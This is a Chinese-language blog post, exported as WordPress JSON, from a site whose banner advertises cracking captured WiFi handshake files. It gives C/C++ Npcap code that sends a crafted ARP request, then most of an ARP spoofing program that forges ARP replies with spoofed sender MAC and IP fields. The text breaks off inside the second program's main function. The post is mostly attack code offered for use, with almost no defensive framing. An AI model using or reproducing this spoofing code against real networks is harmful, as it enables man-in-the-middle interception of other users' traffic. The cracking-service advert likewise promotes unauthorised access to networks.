{"id":2865,"date":"2024-03-23T01:18:28","date_gmt":"2024-03-22T17:18:28","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=2865"},"modified":"2024-03-23T01:18:28","modified_gmt":"2024-03-22T17:18:28","slug":"cap%e5%8c%85ccnpcap%e5%8c%85%e5%ae%9e%e7%8e%b0a7772","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/23\/cap%e5%8c%85ccnpcap%e5%8c%85%e5%ae%9e%e7%8e%b0a7772\/","title":{"rendered":"cap\u5305 C\/C++ Npcap\u5305\u5b9e\u73b0ARP\u6b3a\u9a97"},"content":{"rendered":"
\n

\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 \u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n

\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n

\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n

\"cap\u5305\"<\/p>\n

Npcap\u662fNmap\u81ea\u5e26\u7684\u4e00\u4e2a\u6570\u636e\u5305\u5904\u7406\u5de5\u5177\uff0c\u7528\u4e8e\u5728Nmap\u4e2d\u8fdb\u884c\u6536\u53d1\u5305\u64cd\u4f5c\u3002\u8fd9\u4e2a\u5e93\u53ef\u4ee5\u8fdb\u884c\u4e8c\u6b21\u5f00\u53d1\uff0c\u4f46\u4f7f\u7528C\u8bed\u8a00\u5f00\u53d1\u76f8\u5bf9\u8f83\u4e3a\u7e41\u7410\u3002\u5728\u6e17\u900f\u4efb\u52a1\u4e2d\uff0c\u4f7f\u7528Python\u6784\u5efa\u6570\u636e\u5305\u53ef\u4ee5\u66f4\u9ad8\u6548\uff0c\u552f\u4e00\u7684\u533a\u522b\u662f\u4f7f\u7528Python\u5e93\u53ef\u4ee5\u8282\u7701\u6211\u4eec\u5bfb\u627e\u6570\u636e\u5305\u7ed3\u6784\u7684\u65f6\u95f4\u3002\u901a\u8fc7\u4f7f\u7528Npcap\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u9001ARP\u6570\u636e\u5305\u3002\u8981\u5b9e\u73b0\u8fd9\u4e00\u70b9\uff0c\u6211\u4eec\u9700\u8981\u9996\u5148\u6784\u5efa\u6570\u636e\u5305\u7684\u7ed3\u6784\uff0c\u7136\u540e\u5c06\u5176\u53d1\u9001\u51fa\u53bb\u3002<\/p>\n

#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>

#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span> <\/span>\"packet.lib\"<\/span>)<\/span><\/span>
#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span> <\/span>\"wpcap.lib\"<\/span>)<\/span><\/span>
#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span><\/span>\"WS2_32.lib\"<\/span>)<\/span><\/span>

#<\/span>define<\/span> ETH_ARP<\/span>      0x0806<\/span>   <\/span>\/\/ \u4ee5\u592a\u7f51\u5e27\u7c7b\u578b\u8868\u793a\u540e\u9762\u6570\u636e\u7684\u7c7b\u578b\uff0c\u5bf9\u4e8eARP\u8bf7\u6c42\u6216\u5e94\u7b54\u6765\u8bf4\uff0c\u8be5\u5b57\u6bb5\u7684\u503c\u4e3ax0806<\/span><\/span>
#<\/span>define<\/span> ARP_HARDWARE<\/span> 1<\/span>        <\/span>\/\/ \u786c\u4ef6\u7c7b\u578b\u5b57\u6bb5\u503c\u4e3a\u8868\u793a\u4ee5\u592a\u7f51\u5730\u5740<\/span><\/span>
#<\/span>define<\/span> ETH_IP<\/span>       0x0800<\/span>   <\/span>\/\/ \u534f\u8bae\u7c7b\u578b\u5b57\u6bb5\u8868\u793a\u8981\u6620\u5c04\u7684\u534f\u8bae\u5730\u5740\u7c7b\u578b\u503c\u4e3ax0800\u8868\u793aIP\u5730\u5740<\/span><\/span>
#<\/span>define<\/span> ARP_REQUEST<\/span>  1<\/span>        <\/span>\/\/ ARP\u8bf7\u6c42<\/span><\/span>
#<\/span>define<\/span> ARP_RESPONSE<\/span> 2<\/span>        <\/span>\/\/ ARP\u5e94\u7b54<\/span><\/span>

\/\/14\u5b57\u8282\u4ee5\u592a\u7f51\u9996\u90e8<\/span>
struct<\/span> EthernetHeader<\/span>
{<\/span>
\tu_char DestMAC[<\/span>6<\/span>];<\/span>    \/\/ \u76ee\u7684MAC\u5730\u57406\u5b57\u8282<\/span>
\tu_char SourMAC[<\/span>6<\/span>];<\/span>    \/\/ \u6e90MAC\u5730\u5740 6\u5b57\u8282<\/span>
\tu_short EthType;<\/span>      \/\/ \u4e0a\u4e00\u5c42\u534f\u8bae\u7c7b\u578b\uff0c\u59820x0800\u4ee3\u8868\u4e0a\u4e00\u5c42\u662fIP\u534f\u8bae\uff0c0x0806\u4e3aarp  2\u5b57\u8282<\/span>
};<\/span>

\/\/28\u5b57\u8282ARP\u5e27\u7ed3\u6784<\/span>
struct<\/span> ArpHeader<\/span>
{<\/span>
\tunsigned<\/span> short<\/span> hdType;<\/span>    \/\/ \u786c\u4ef6\u7c7b\u578b<\/span>
\tunsigned<\/span> short<\/span> proType;<\/span>   \/\/ \u534f\u8bae\u7c7b\u578b<\/span>
\tunsigned<\/span> char<\/span> hdSize;<\/span>     \/\/ \u786c\u4ef6\u5730\u5740\u957f\u5ea6<\/span>
\tunsigned<\/span> char<\/span> proSize;<\/span>    \/\/ \u534f\u8bae\u5730\u5740\u957f\u5ea6<\/span>
\tunsigned<\/span> short<\/span> op;<\/span>        \/\/ \u64cd\u4f5c\u7c7b\u578b\uff0cARP\u8bf7\u6c42\uff081\uff09\uff0cARP\u5e94\u7b54\uff082\uff09\uff0cRARP\u8bf7\u6c42\uff083\uff09\uff0cRARP\u5e94\u7b54\uff084\uff09\u3002<\/span>
\tu_char smac[<\/span>6<\/span>];<\/span>           \/\/ \u6e90MAC\u5730\u5740<\/span>
\tu_char sip[<\/span>4<\/span>];<\/span>            \/\/ \u6e90IP\u5730\u5740<\/span>
\tu_char dmac[<\/span>6<\/span>];<\/span>           \/\/ \u76ee\u7684MAC\u5730\u5740<\/span>
\tu_char dip[<\/span>4<\/span>];<\/span>            \/\/ \u76ee\u7684IP\u5730\u5740<\/span>
};<\/span>

\/\/\u5b9a\u4e49\u6574\u4e2aarp\u62a5\u6587\u5305\uff0c\u603b\u957f\u5ea642\u5b57\u8282<\/span>
struct<\/span> ArpPacket<\/span> {<\/span>
\tEthernetHeader ed;<\/span>
\tArpHeader ah;<\/span>
};<\/span>

\/\/ \u83b7\u53d6\u5230\u6307\u5b9a\u7f51\u5361\u7684\u53e5\u67c4<\/span>
pcap_t<\/span> *<\/span> OpenPcap(<\/span>int<\/span> nChoose)<\/span>
{<\/span>
\tpcap_t<\/span> *<\/span>pcap_handle;<\/span>   \/\/\u6253\u5f00\u7f51\u7edc\u9002\u914d\u5668\uff0c\u6355\u6349\u5b9e\u4f8b,\u662fpcap_open\u8fd4\u56de\u7684\u5bf9\u8c61<\/span>
\tpcap_if_t<\/span> *<\/span>alldevs;<\/span>
\tchar<\/span> errbuf[<\/span>PCAP_ERRBUF_SIZE];<\/span>   \/\/\u9519\u8bef\u7f13\u51b2\u533a,\u5927\u5c0f\u4e3a256<\/span>

\t\/\/ \u83b7\u53d6\u5230\u6240\u6709\u8bbe\u5907\u5217\u8868<\/span>
\tif<\/span> (pcap_findalldevs_ex(<\/span>PCAP_SRC_IF_STRING,<\/span> NULL,<\/span> &<\/span>alldevs,<\/span> errbuf)<\/span> ==<\/span> -1<\/span>)<\/span>
\t\texit(<\/span>0<\/span>);<\/span>
\t\/\/ \u627e\u5230\u6307\u5b9a\u7684\u7f51\u5361\u8bbe\u5907<\/span>
\tfor<\/span> (<\/span>int<\/span> x =<\/span> 0<\/span>;<\/span> x <<\/span> nChoose -<\/span> 1<\/span>;<\/span> ++<\/span>x)<\/span>
\t\talldevs =<\/span> alldevs-><\/span>next;<\/span>

\tif<\/span> ((<\/span>pcap_handle =<\/span> pcap_open(<\/span>alldevs-><\/span>name,<\/span>      \/\/ \u8bbe\u5907\u540d<\/span>
\t\t65536<\/span>,<\/span>                                       \/\/ \u6bcf\u4e2a\u5305\u957f\u5ea6<\/span>
\t\tPCAP_OPENFLAG_PROMISCUOUS,<\/span>                   \/\/ \u6df7\u6742\u6a21\u5f0f<\/span>
\t\t1000<\/span>,<\/span>                                        \/\/ \u8bfb\u53d6\u8d85\u65f6\u65f6\u95f4<\/span>
\t\tNULL,<\/span>                                        \/\/ \u8fdc\u7a0b\u673a\u5668\u9a8c\u8bc1<\/span>
\t\terrbuf                                       \/\/ \u9519\u8bef\u7f13\u51b2\u6c60<\/span>
\t\t))<\/span> ==<\/span> NULL)<\/span>
\t{<\/span>
\t\tpcap_freealldevs(<\/span>alldevs);<\/span>
\t\texit(<\/span>0<\/span>);<\/span>
\t}<\/span>
\treturn<\/span> pcap_handle;<\/span>
}<\/span>

int<\/span> main(<\/span>int<\/span> argc,<\/span> char<\/span> *<\/span>argv[])<\/span>
{<\/span>
\tpcap_t<\/span> *<\/span>handle;<\/span>            \/\/ \u6253\u5f00\u7f51\u7edc\u9002\u914d\u5668<\/span>
\tEthernetHeader eh;<\/span>         \/\/ \u5b9a\u4e49\u4ee5\u592a\u7f51\u5305\u5934<\/span>
\tArpHeader ah;<\/span>              \/\/ \u5b9a\u4e49ARP\u5305\u5934<\/span>

\tunsigned<\/span> char<\/span> sendbuf[<\/span>42<\/span>];<\/span> \/\/ arp\u5305\u7ed3\u6784\u5927\u5c0f42\u4e2a\u5b57\u8282<\/span>
\tunsigned<\/span> char<\/span> src_mac[<\/span>6<\/span>]<\/span> =<\/span> {<\/span> 0xaa<\/span>,<\/span> 0xaa<\/span>,<\/span> 0xaa<\/span>,<\/span> 0xaa<\/span>,<\/span> 0xff<\/span>,<\/span> 0xff<\/span> };<\/span>
\tunsigned<\/span> char<\/span> src_ip[<\/span>4<\/span>]<\/span> =<\/span> {<\/span> 0x01<\/span>,<\/span> 0x02<\/span>,<\/span> 0x03<\/span>,<\/span> 0x04<\/span> };<\/span>

\thandle =<\/span> OpenPcap(<\/span>3<\/span>);<\/span>      \/\/ \u62ff\u5230\u7b2c\u4e09\u4e2a\u7f51\u5361\u7684\u53e5\u67c4<\/span>

\t\/\/ \u5f00\u59cb\u586b\u5145ARP\u5305<\/span>
\tmemset(<\/span>eh.<\/span>DestMAC,<\/span> 0xff<\/span>,<\/span> 6<\/span>);<\/span>      \/\/ \u4ee5\u592a\u7f51\u9996\u90e8\u76ee\u7684MAC\u5730\u5740,\u5168\u4e3a\u5e7f\u64ad\u5730\u5740<\/span>
\tmemcpy(<\/span>eh.<\/span>SourMAC,<\/span> src_mac,<\/span> 6<\/span>);<\/span>   \/\/ \u4ee5\u592a\u7f51\u9996\u90e8\u6e90MAC\u5730\u5740<\/span>
\tmemcpy(<\/span>ah.<\/span>smac,<\/span> src_mac,<\/span> 6<\/span>);<\/span>      \/\/ ARP\u5b57\u6bb5\u6e90MAC\u5730\u5740<\/span>
\tmemset(<\/span>ah.<\/span>dmac,<\/span> 0xff<\/span>,<\/span> 6<\/span>);<\/span>         \/\/ ARP\u5b57\u6bb5\u76ee\u7684MAC\u5730\u5740<\/span>
\tmemcpy(<\/span>ah.<\/span>sip,<\/span> src_ip,<\/span> 4<\/span>);<\/span>        \/\/ ARP\u5b57\u6bb5\u6e90IP\u5730\u5740<\/span>
\tmemset(<\/span>ah.<\/span>dip,<\/span> 0x05<\/span>,<\/span> 4<\/span>);<\/span>          \/\/ ARP\u5b57\u6bb5\u76ee\u7684IP\u5730\u5740<\/span>

\t\/\/ \u8d4b\u503cMAC\u5730\u5740<\/span>
\teh.<\/span>EthType =<\/span> htons(<\/span>ETH_ARP);<\/span>   \/\/htons\uff1a\u5c06\u4e3b\u673a\u7684\u65e0\u7b26\u53f7\u77ed\u6574\u5f62\u6570\u8f6c\u6362\u6210\u7f51\u7edc\u5b57\u8282\u987a\u5e8f<\/span>
\tah.<\/span>hdType =<\/span> htons(<\/span>ARP_HARDWARE);<\/span>
\tah.<\/span>proType =<\/span> htons(<\/span>ETH_IP);<\/span>
\tah.<\/span>hdSize =<\/span> 6<\/span>;<\/span>
\tah.<\/span>proSize =<\/span> 4<\/span>;<\/span>
\tah.<\/span>op =<\/span> htons(<\/span>ARP_REQUEST);<\/span>

\t\/\/ \u6784\u9020\u4e00\u4e2aARP\u8bf7\u6c42<\/span>
\tmemset(<\/span>sendbuf,<\/span> 0<\/span>,<\/span> sizeof<\/span>(<\/span>sendbuf));<\/span>            \/\/ ARP\u6e05\u96f6<\/span>
\tmemcpy(<\/span>sendbuf,<\/span> &<\/span>eh,<\/span> sizeof<\/span>(<\/span>eh));<\/span>               \/\/ \u9996\u5148\u628aeh\u4ee5\u592a\u7f51\u7ed3\u6784\u586b\u5145\u4e0a<\/span>
\tmemcpy(<\/span>sendbuf +<\/span> sizeof<\/span>(<\/span>eh),<\/span> &<\/span>ah,<\/span> sizeof<\/span>(<\/span>ah));<\/span>  \/\/ \u63a5\u7740\u5728eh\u540e\u9762\u586b\u5145arp\u7ed3\u6784<\/span>

\t\/\/ \u53d1\u9001\u6570\u636e\u5305<\/span>
\tif<\/span> (pcap_sendpacket(<\/span>handle,<\/span> sendbuf,<\/span> 42<\/span>)<\/span> ==<\/span> 0<\/span>)<\/span>
\t{<\/span>
\t\tprintf(<\/span>\"\u53d1\u9001ARP\u6570\u636e\u5305\u6210\u529f! n\"<\/span>);<\/span>
\t}<\/span>

\tsystem(<\/span>\"pause\"<\/span>);<\/span>
\treturn<\/span> 0<\/span>;<\/span>
}<\/span>
<\/span><\/code><\/pre>\n
\"cap\u5305\"<\/p>\n
#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>
#<\/span>include<\/span> <\/span><\/span>

#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span> <\/span>\"packet.lib\"<\/span>)<\/span><\/span>
#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span> <\/span>\"wpcap.lib\"<\/span>)<\/span><\/span>
#<\/span>pragma<\/span> comment<\/span>(<\/span>lib,<\/span><\/span>\"WS2_32.lib\"<\/span>)<\/span><\/span>

\/\/arp\u5e94\u7b54\/\u8bf7\u6c42(28\u5b57\u8282)<\/span>
#<\/span>define<\/span> ARP_HARDWARE<\/span> 0x0001<\/span>  <\/span>\/\/ arp_hrd\uff1a\u4ee5\u592a\u7f51<\/span><\/span>
#<\/span>define<\/span> ARP_REQUEST<\/span> 0x0001<\/span>   <\/span>\/\/ arp_op\uff1a \u8bf7\u6c42 request <\/span><\/span>
#<\/span>define<\/span> ARP_REPLY<\/span> 0x0002<\/span>     <\/span>\/\/ arp_op\uff1a \u5e94\u7b54 reply <\/span><\/span>

\/\/\u4f5c\u7528\uff1a\u8c03\u6574\u7ed3\u6784\u4f53\u7684\u8fb9\u754c\u5bf9\u9f50\uff0c\u8ba9\u5176\u4ee5\u4e00\u4e2a\u5b57\u8282\u5bf9\u9f50\uff1b<\/span>
#<\/span>pragma<\/span> pack<\/span>(<\/span>push,<\/span> 1<\/span>)<\/span>  <\/span>\/\/\u4f7f\u7ed3\u6784\u4f53\u63091\u5b57\u8282\u65b9\u5f0f\u5bf9\u9f50<\/span><\/span>

\/\/\u4ee5\u592a\u7f51\u5934\u90e8(14\u5b57\u8282)<\/span>
#<\/span>define<\/span> EPT_IP<\/span> 0x0800<\/span>       <\/span>\/\/ eh_type: IP <\/span><\/span>
#<\/span>define<\/span> EPT_ARP<\/span> 0x0806<\/span>      <\/span>\/\/ eh_type: ARP <\/span><\/span>
#<\/span>define<\/span> EPT_RARP<\/span> 0x8035<\/span>     <\/span>\/\/ eh_type: RARP<\/span><\/span>

typedef<\/span> struct<\/span> eh_hdr<\/span>
{<\/span>
\tUCHAR eh_dst[<\/span>6<\/span>];<\/span>        \/\/ \u63a5\u6536\u65b9MAC\u5730\u5740 <\/span>
\tUCHAR eh_src[<\/span>6<\/span>];<\/span>        \/\/ \u53d1\u9001\u65b9MAC\u5730\u5740 <\/span>
\tUSHORT eh_type;<\/span>         \/\/ \u4e0a\u5c42\u534f\u8bae\u7c7b\u578b <\/span>
}<\/span>EH_HEADR,<\/span> *<\/span>P_EH_HEADR;<\/span>

typedef<\/span> struct<\/span> arp_hdr<\/span>
{<\/span>
\tUSHORT arp_hrd;<\/span>          \/\/ \u786c\u4ef6\u7c7b\u578b <\/span>
\tUSHORT arp_pro;<\/span>          \/\/ \u534f\u8bae\u7c7b\u578b <\/span>
\tUCHAR  arp_hln;<\/span>          \/\/ \u786c\u4ef6\uff08MAC\uff09\u5730\u5740\u957f\u5ea6 <\/span>
\tUCHAR  arp_pln;<\/span>          \/\/ \u534f\u8bae\uff08IP \uff09\u5730\u5740\u957f\u5ea6 <\/span>
\tUSHORT arp_op;<\/span>           \/\/ \u5305\u7c7b\u578b\uff1a\u8bf7\u6c42\u3001\u5e94\u7b54<\/span>
\tUCHAR  arp_sha[<\/span>6<\/span>];<\/span>       \/\/ \u53d1\u9001\u53d1\u786c\u4ef6\u5730\u5740 \uff08\u5e94\u7b54\u65f6\uff0c\u6b64\u5904\u53ef\u6b3a\u9a97\uff09<\/span>
\tULONG  arp_spa;<\/span>          \/\/ \u53d1\u9001\u65b9\u534f\u8bae\u5730\u5740 \uff08\u5e94\u7b54\u65f6\uff0c\u6b64\u5904\u53ef\u6b3a\u9a97\uff09<\/span>
\tUCHAR  arp_tha[<\/span>6<\/span>];<\/span>       \/\/ \u63a5\u6536\u65b9\u786c\u4ef6\u5730\u5740 \uff08\u8bf7\u6c42\u65f6\uff0c\u6b64\u5904\u65e0\u7528\uff09<\/span>
\tULONG  arp_tpa;<\/span>          \/\/ \u63a5\u6536\u65b9\u534f\u8bae\u5730\u5740 <\/span>
}<\/span>ARP_HEADR,<\/span> *<\/span>P_ARP_HEADR;<\/span>

\/\/ARP\u534f\u8bae\u6808<\/span>
typedef<\/span> struct<\/span> arp_Packet<\/span>
{<\/span>
\tEH_HEADR ehhdr;<\/span>
\tARP_HEADR arphdr;<\/span>
}<\/span> ARP_PACKET,<\/span> *<\/span>P_ARP_PACKET;<\/span>

\/\/ \u83b7\u53d6\u5230\u6307\u5b9a\u7f51\u5361\u7684\u53e5\u67c4<\/span>
pcap_t<\/span> *<\/span> OpenPcap(<\/span>int<\/span> nChoose)<\/span>
{<\/span>
\tpcap_t<\/span> *<\/span>pcap_handle;<\/span>   \/\/\u6253\u5f00\u7f51\u7edc\u9002\u914d\u5668\uff0c\u6355\u6349\u5b9e\u4f8b,\u662fpcap_open\u8fd4\u56de\u7684\u5bf9\u8c61<\/span>
\tpcap_if_t<\/span> *<\/span>alldevs;<\/span>
\tchar<\/span> errbuf[<\/span>PCAP_ERRBUF_SIZE];<\/span>   \/\/\u9519\u8bef\u7f13\u51b2\u533a,\u5927\u5c0f\u4e3a256<\/span>

\t\/\/ \u83b7\u53d6\u5230\u6240\u6709\u8bbe\u5907\u5217\u8868<\/span>
\tif<\/span> (pcap_findalldevs_ex(<\/span>PCAP_SRC_IF_STRING,<\/span> NULL,<\/span> &<\/span>alldevs,<\/span> errbuf)<\/span> ==<\/span> -1<\/span>)<\/span>
\t\texit(<\/span>0<\/span>);<\/span>
\t\/\/ \u627e\u5230\u6307\u5b9a\u7684\u7f51\u5361\u8bbe\u5907<\/span>
\tfor<\/span> (<\/span>int<\/span> x =<\/span> 0<\/span>;<\/span> x <<\/span> nChoose -<\/span> 1<\/span>;<\/span> ++<\/span>x)<\/span>
\t\talldevs =<\/span> alldevs-><\/span>next;<\/span>

\tif<\/span> ((<\/span>pcap_handle =<\/span> pcap_open(<\/span>alldevs-><\/span>name,<\/span>      \/\/ \u8bbe\u5907\u540d<\/span>
\t\t65536<\/span>,<\/span>                                       \/\/ \u6bcf\u4e2a\u5305\u957f\u5ea6<\/span>
\t\tPCAP_OPENFLAG_PROMISCUOUS,<\/span>                   \/\/ \u6df7\u6742\u6a21\u5f0f<\/span>
\t\t1000<\/span>,<\/span>                                        \/\/ \u8bfb\u53d6\u8d85\u65f6\u65f6\u95f4<\/span>
\t\tNULL,<\/span>                                        \/\/ \u8fdc\u7a0b\u673a\u5668\u9a8c\u8bc1<\/span>
\t\terrbuf                                       \/\/ \u9519\u8bef\u7f13\u51b2\u6c60<\/span>
\t\t))<\/span> ==<\/span> NULL)<\/span>
\t{<\/span>
\t\tpcap_freealldevs(<\/span>alldevs);<\/span>
\t\texit(<\/span>0<\/span>);<\/span>
\t}<\/span>
\treturn<\/span> pcap_handle;<\/span>
}<\/span>

void<\/span> ChangeMacAddr(<\/span>char<\/span> *<\/span>p,<\/span> UCHAR a[])<\/span>      \/\/\u628a\u8f93\u5165\u768412\u5b57\u8282\u7684MAC\u5b57\u7b26\u4e32\uff0c\u8f6c\u53d8\u4e3a6\u5b57\u8282\u768416\u8fdb\u5236MAC\u5730\u5740<\/span>
{<\/span>
\tchar<\/span>*<\/span> p1 =<\/span> NULL;<\/span>
\tint<\/span> i =<\/span> 0<\/span>;<\/span>
\tint<\/span> high,<\/span> low;<\/span>
\tchar<\/span> temp[<\/span>1<\/span>];<\/span>
\tfor<\/span> (<\/span>i =<\/span> 0<\/span>;<\/span> i <<\/span> 6<\/span>;<\/span> i++<\/span>)<\/span>
\t{<\/span>
\t\tp1 =<\/span> p +<\/span> 1<\/span>;<\/span>
\t\tswitch<\/span> (<\/span>*<\/span>p1)<\/span> \/\/\u8ba1\u7b97\u4f4e\u4f4d\u768416\u8fdb\u8fdb\u5236<\/span>
\t\t{<\/span>
\t\tcase<\/span> 'A'<\/span>:<\/span> low =<\/span> 10<\/span>;<\/span>        break<\/span>;<\/span>
\t\tcase<\/span> 'B'<\/span>:<\/span> low =<\/span> 11<\/span>;<\/span>        break<\/span>;<\/span>
\t\tcase<\/span> 'C'<\/span>:<\/span> low =<\/span> 12<\/span>;<\/span>        break<\/span>;<\/span>
\t\tcase<\/span> 'D'<\/span>:<\/span> low =<\/span> 13<\/span>;<\/span>        break<\/span>;<\/span>
\t\tcase<\/span> 'E'<\/span>:<\/span> low =<\/span> 14<\/span>;<\/span>        break<\/span>;<\/span>
\t\tcase<\/span> 'F'<\/span>:<\/span> low =<\/span> 15<\/span>;<\/span>        break<\/span>;<\/span>
\t\tdefault<\/span>:<\/span> temp[<\/span>0<\/span>]<\/span> =<\/span> *<\/span>p1;<\/span>
\t\t\tlow =<\/span> atoi(<\/span>temp);<\/span> \/\/\u5982\u679c\u4e3a\u6570\u5b57\u5c31\u76f4\u63a5\u8f6c\u53d8\u6210\u5bf9\u5e94\u7684\u6570\u503c<\/span>
\t\t}<\/span>

\t\tswitch<\/span> (<\/span>*<\/span>p)<\/span> \/\/\u8ba1\u7b97\u9ad8\u4f4d\u768416\u8fdb\u5236<\/span>
\t\t{<\/span>
\t\tcase<\/span> 'A'<\/span>:<\/span> high =<\/span> 10<\/span>;<\/span>       break<\/span>;<\/span>
\t\tcase<\/span> 'B'<\/span>:<\/span> high =<\/span> 11<\/span>;<\/span>       break<\/span>;<\/span>
\t\tcase<\/span> 'C'<\/span>:<\/span> high =<\/span> 12<\/span>;<\/span>       break<\/span>;<\/span>
\t\tcase<\/span> 'D'<\/span>:<\/span> high =<\/span> 13<\/span>;<\/span>       break<\/span>;<\/span>
\t\tcase<\/span> 'E'<\/span>:<\/span> high =<\/span> 14<\/span>;<\/span>       break<\/span>;<\/span>
\t\tcase<\/span> 'F'<\/span>:<\/span> high =<\/span> 15<\/span>;<\/span>       break<\/span>;<\/span>
\t\tdefault<\/span>:<\/span> temp[<\/span>0<\/span>]<\/span> =<\/span> *<\/span>p;<\/span>
\t\t\thigh =<\/span> atoi(<\/span>temp);<\/span> \/\/\u5982\u679c\u4e3a\u6570\u5b57\u5c31\u76f4\u63a5\u8f6c\u53d8\u6210\u5bf9\u5e94\u7684\u6570\u503c<\/span>
\t\t}<\/span>
\t\tp +=<\/span> 2<\/span>;<\/span> \/\/\u6307\u9488\u6307\u5411\u4e0b\u4e00\u4e2aX(\u9ad8)X(\u4f4e)\u5b57\u7b26\u4e32<\/span>

\t\ta[<\/span>i]<\/span> =<\/span> high *<\/span> 16<\/span> +<\/span> low;<\/span> \/\/\u6c42\u548c\u5f9716\u8fdb\u5236\u503c<\/span>
\t}<\/span>
}<\/span>

void<\/span> makeArpPacket(<\/span>ARP_PACKET &<\/span>ARPPacket,<\/span> char<\/span> *<\/span> srcMac,<\/span> char<\/span> *<\/span> srcIP,<\/span> char<\/span> *<\/span> dstMac,<\/span> char<\/span> *<\/span> dstIP)<\/span>
{<\/span>
\tUCHAR MacAddr[<\/span>6<\/span>]<\/span> =<\/span> {<\/span> 0<\/span> };<\/span>

\t\/\/\u4ee5\u592a\u7f51\u5934<\/span>
\tChangeMacAddr(<\/span>dstMac,<\/span> ARPPacket.<\/span>ehhdr.<\/span>eh_dst);<\/span>   \/\/\u76ee\u7684MAC\u5730\u5740<\/span>
\tChangeMacAddr(<\/span>srcMac,<\/span> ARPPacket.<\/span>ehhdr.<\/span>eh_src);<\/span>   \/\/\u6e90MAC\u5730\u5740\u3002<\/span>
\tARPPacket.<\/span>ehhdr.<\/span>eh_type =<\/span> htons(<\/span>EPT_ARP);<\/span>        \/\/\u6570\u636e\u7c7b\u578bARP\u8bf7\u6c42\u6216\u5e94\u7b54<\/span>

\t\/\/ARP\u5934                                     <\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_hrd =<\/span> htons(<\/span>ARP_HARDWARE);<\/span>  \/\/\u786c\u4ef6\u5730\u5740\u4e3a0x0001\u8868\u793a\u4ee5\u592a\u7f51\u5730\u5740<\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_pro =<\/span> htons(<\/span>EPT_IP);<\/span>        \/\/\u534f\u8bae\u7c7b\u578b\u5b57\u6bb5\u4e3a0x0800\u8868\u793aIP\u5730\u5740<\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_hln =<\/span> 6<\/span>;<\/span>                    \/\/\u786c\u4ef6\u5730\u5740\u957f\u5ea6\u548c\u534f\u8bae\u5730\u5740\u957f\u5ea6\u5206\u522b\u6307\u51fa\u786c\u4ef6\u5730\u5740\u548c\u534f\u8bae\u5730\u5740\u7684\u957f\u5ea6\uff0c<\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_pln =<\/span> 4<\/span>;<\/span>                    \/\/\u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\u3002\u5bf9\u4e8e\u4ee5\u592a\u7f51\u4e0aIP\u5730\u5740\u7684ARP\u8bf7\u6c42\u6216\u5e94\u7b54\u6765\u8bf4\uff0c\u5b83\u4eec\u7684\u503c\u5206\u522b\u4e3a6\u548c4\u3002<\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_op =<\/span> htons(<\/span>ARP_REPLY);<\/span>      \/\/ARP\u8bf7\u6c42\u503c\u4e3a1,ARP\u5e94\u7b54\u503c\u4e3a2,RARP\u8bf7\u6c42\u503c\u4e3a3,RARP\u5e94\u7b54\u503c\u4e3a4<\/span>
\tChangeMacAddr(<\/span>srcMac,<\/span> ARPPacket.<\/span>arphdr.<\/span>arp_sha);<\/span> \/\/\u53d1\u9001\u65b9 \u6e90MAC\u5730\u5740\uff08\u6b3a\u9a97\u7684MAC\u5730\u5740\uff09<\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_spa =<\/span> inet_addr(<\/span>srcIP);<\/span>     \/\/\u53d1\u9001\u65b9 \u6e90IP\u5730\u5740 \uff08\u6b3a\u9a97\u7684MAC\u5730\u5740\uff09<\/span>
\tChangeMacAddr(<\/span>dstMac,<\/span> ARPPacket.<\/span>arphdr.<\/span>arp_tha);<\/span> \/\/\u76ee\u6807\u7684MAC\u5730\u5740 <\/span>
\tARPPacket.<\/span>arphdr.<\/span>arp_tpa =<\/span> inet_addr(<\/span>dstIP);<\/span>     \/\/\u76ee\u6807\u7684IP\u5730\u5740  <\/span>
}<\/span>

\/\/ \u53d1\u9001ARP\u6570\u636e\u5305<\/span>
void<\/span> sendArpPacket(pcap_t<\/span> *<\/span> fp,<\/span> ARP_PACKET &<\/span>ARPPacket)<\/span>
{<\/span>
\tif<\/span> (pcap_sendpacket(<\/span>fp,(<\/span>const<\/span> u_char *<\/span>)<\/span>&<\/span>ARPPacket,<\/span>sizeof<\/span>(<\/span>ARPPacket))<\/span> !=<\/span> 0<\/span>)<\/span>
\t\treturn<\/span>;<\/span>
}<\/span>

int<\/span> main(<\/span>int<\/span> argc,<\/span> char<\/span> *<\/span>argv[])<\/span>
{<\/span>
\tpcap_t<\/span> *<\/span>handle;<\/span>      \/\/ \u6253\u5f00\u7f51\u7edc\u9002\u914d\u5668<\/span>
\tEH_HEADR eh;<\/span>         \/\/ \u5b9a\u4e49\u4ee5\u592a\u7f51\u5305\u5934<\/span>
\tARP_HEADR ah;<\/span>        \/\/ \u5b9a\u4e49ARP\u5305\u5934<\/span>

\t\/\/ \u6253\u5f00\u7b2c\u4e09\u5f20\u7f51\u5361,\u5e76\u62ff\u5230\u8be5\u7f51\u5361\u7684\u53e5\u67c4<\/span>
